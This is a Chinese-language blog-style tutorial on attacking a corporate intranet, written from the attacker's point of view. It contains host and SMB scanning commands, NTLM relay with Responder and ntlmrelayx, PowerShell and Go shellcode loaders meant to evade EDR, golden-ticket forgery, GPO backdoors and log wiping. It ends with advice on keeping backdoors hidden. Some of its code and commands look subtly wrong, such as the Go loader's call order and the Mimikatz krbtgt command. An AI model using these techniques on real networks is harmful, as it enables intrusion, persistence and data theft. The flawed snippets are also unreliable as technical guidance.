一、从一个真实案例说起

某大型企业的IT部门最近发现了异常的流量行为。起初只是一个未授权的终端设备与内部数据库通信,随后却演变成了核心业务数据被盗事件。攻击者利用一名员工的域账户,成功登录内网资产后,开展了一系列横向移动操作,并在短短几天内完全掌控了整个域环境。更糟糕的是,他们还使用了多种免杀技术,成功绕过了企业部署的EDR(终端检测与响应)和防火墙策略。

这个案例的背后,暴露了企业在内网安全方面的盲区,也让我更加意识到横向移动能力在渗透测试和红队评估中的战略地位。那么,如果我是攻击者,如何借助横向移动完成这场“狩猎”呢?接下来,我将带你深入分析,并通过复现完整的攻击链,解密内网横向移动的细节和技巧。

---

二、信息收集的基础:盘点内网资产

横向移动的前提是对目标内网环境的充分了解。在没有明确目标的情况下盲目行动,很容易触发安全设备的告警。在这一阶段,我们可以通过以下手段收集关键信息:

1. 内网拓扑探测

通过 ARP 扫描和 Nmap 等工具,快速锁定存活主机和服务端口。以下是一个简单的 Shell 脚本,用于批量探测内网存活主机:

<pre><code class="language-bash">#!/bin/bash

ARP扫描用于探测存活主机

for ip in $(seq 1 254); do ping -c 1 192.168.1.$ip | grep &quot;64 bytes&quot; &amp; done</code></pre>

2. 服务枚举与弱口令尝试

定位主机后,我们需要进一步了解其服务情况。例如,SMB、RDP 和 WinRM 是横向移动的核心通道。使用 Nmap 的脚本功能可以快速枚举服务:

黑客示意图

<pre><code class="language-bash">nmap -p 135,139,445,3389,5985 --script smb-enum-shares,smb-enum-users 192.168.1.0/24</code></pre>

通过以上操作,我们可能会发现共享文件夹、开放的远程桌面服务以及疑似存在弱口令的账户。针对这些信息,后续即可尝试初步攻击。

---

三、横向移动的切入点:利用 SMB 和远程服务

在内网渗透中,SMB(Server Message Block)协议是一把双刃剑。它不仅是横向移动的利器,同时也是典型的暴露点。这里,我们通过一个 SMB Relay 攻击的案例,展示如何利用 SMB 服务实现横向移动。

1. NTLM 中继攻击

假设我们已经捕获了某个用户的 NTLM 哈希,接下来的目标是找到一个支持 SMB 或 LDAP 的主机,将哈希中继到这台主机上以实现登录。

这一步可以借助 Responder 工具实现,具体操作如下:

<pre><code class="language-bash"># 启动 Responder 捕获 NTLM 哈希 responder -I eth0</code></pre>

捕获到 NTLM 哈希后,我们使用 Impacket 工具的 ntlmrelayx.py 进行哈希中继:

黑客示意图

<pre><code class="language-bash"># 中继哈希到目标主机 python3 ntlmrelayx.py -tf targets.txt -smb2support</code></pre>

如果目标主机没有严格配置 SMB 策略(如 SMB 签名未强制启用),我们即可成功登录,并获取远程主机的权限。

2. Go语言实现自定义攻击逻辑

为了复用上述攻击链,我们还可以编写一个简单的 Go 工具,自动化处理 SMB Relay 攻击。以下是一个简化版的代码示例:

<pre><code class="language-go">package main

import ( &quot;fmt&quot; &quot;net&quot; )

// 模拟 SMB 探测端口开放情况 func checkSMB(ip string) bool { _, err := net.Dial(&quot;tcp&quot;, ip+&quot;:445&quot;) return err == nil }

func main() { targets := []string{&quot;192.168.1.101&quot;, &quot;192.168.1.102&quot;, &quot;192.168.1.103&quot;}

黑客示意图

for _, ip := range targets { if checkSMB(ip) { fmt.Printf(&quot;SMB service found on %s\n&quot;, ip) // 这里可以调用具体的中继攻击逻辑 } } }</code></pre>

---

四、无文件攻击:内存加载与后门部署

传统的文件型恶意代码很容易被安全设备拦截,因此无文件攻击成为横向移动中的主流技术。我们可以通过 PowerShell 或其他内存加载技术,将恶意代码直接注入目标进程。

1. 使用 PowerShell 实现无文件加载

以下是一个加载 Meterpreter shellcode 的 PowerShell 示例:

<pre><code class="language-powershell"># 直接在内存中加载 shellcode $shellcode = [Convert]::FromBase64String(&quot;base64_encoded_shellcode_here&quot;) $memory = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($shellcode.Length) [System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $memory, $shellcode.Length) $thread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memory, [Action]).Invoke()</code></pre>

这种方式完全避免了在磁盘上留下恶意文件,大幅降低了被捕获的概率。

2. Go 语言实现内存注入

同样,我们可以用 Go 编写一段内存注入的代码,加载 shellcode 并执行:

<pre><code class="language-go">package main

import ( &quot;syscall&quot; &quot;unsafe&quot; )

func main() { shellcode := []byte{0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, / 省略其他字节 /}

kernel32 := syscall.MustLoadDLL(&quot;kernel32.dll&quot;) virtAlloc := kernel32.MustFindProc(&quot;VirtualAlloc&quot;) createThread := kernel32.MustFindProc(&quot;CreateThread&quot;)

addr, _, _ := virtAlloc.Call(0, uintptr(len(shellcode)), 0x3000, 0x40) _, _, _ = syscall.Syscall6(unsafe.Pointer(createThread.Addr()), 4, addr, 0, 0, 0, 0, 0)

copy((*[990000]byte)(unsafe.Pointer(addr))[:], shellcode) }</code></pre>

这种方法非常适合用在“免杀”需求中,但需要注意的是,代码中还需要针对不同的靶机环境进行适配。

---

五、权限提升与域控攻陷

横向移动的终极目标通常是域控(Domain Controller),它是整个内网的核心。通过获取域管理员权限,我们就可以完全控制内网环境。

1. 利用 Kerberos 攻击

Kerberos 是域环境中的关键协议,通过破解 TGT 的加密票据,我们可以伪造域用户的身份。以下是常用的 Golden Ticket 攻击流程:

<pre><code class="language-bash"># 使用 Mimikatz 提取 krbtgt 哈希 mimikatz # sekurlsa::krbtgt

使用 Impacket 伪造 Golden Ticket

python3 ticketer.py -nthash HASH -domain DOMAIN -user Administrator</code></pre>

生成的票据可以直接注入到当前会话中,从而假冒域管理员身份。

2. 权限维持与后门部署

在获取域控权限后,我们需要进一步部署持久后门,例如利用 GPO(组策略)注入恶意脚本,或直接替换域用户密码。

黑客示意图

---

六、反侦察技巧与防御规避

攻击的最后一步是清除痕迹,避免被安全团队发现。以下是几种常见的技术:

  • 日志清除:通过修改 Event Log,删除所有登录和服务启动记录。
  • 流量伪装:利用 HTTPS 或 DNS 隧道隐藏 C2 通信流量。
  • 自毁机制:在攻击结束后立即卸载恶意工具,降低取证难度。

---

七、我的一些心得与建议

  1. 横向移动的核心是 信息收集和漏洞利用,前期的工作越细致,后期的攻击链就越稳定。
  2. 工具是攻击的辅助,但并非万能,掌握协议和系统底层原理才是真正的“杀手锏”。
  3. 永远不要低估防御者的能力,留后门时需结合多种免杀技术,保证隐蔽性。

本文仅供安全研究学习,请勿用于非法用途!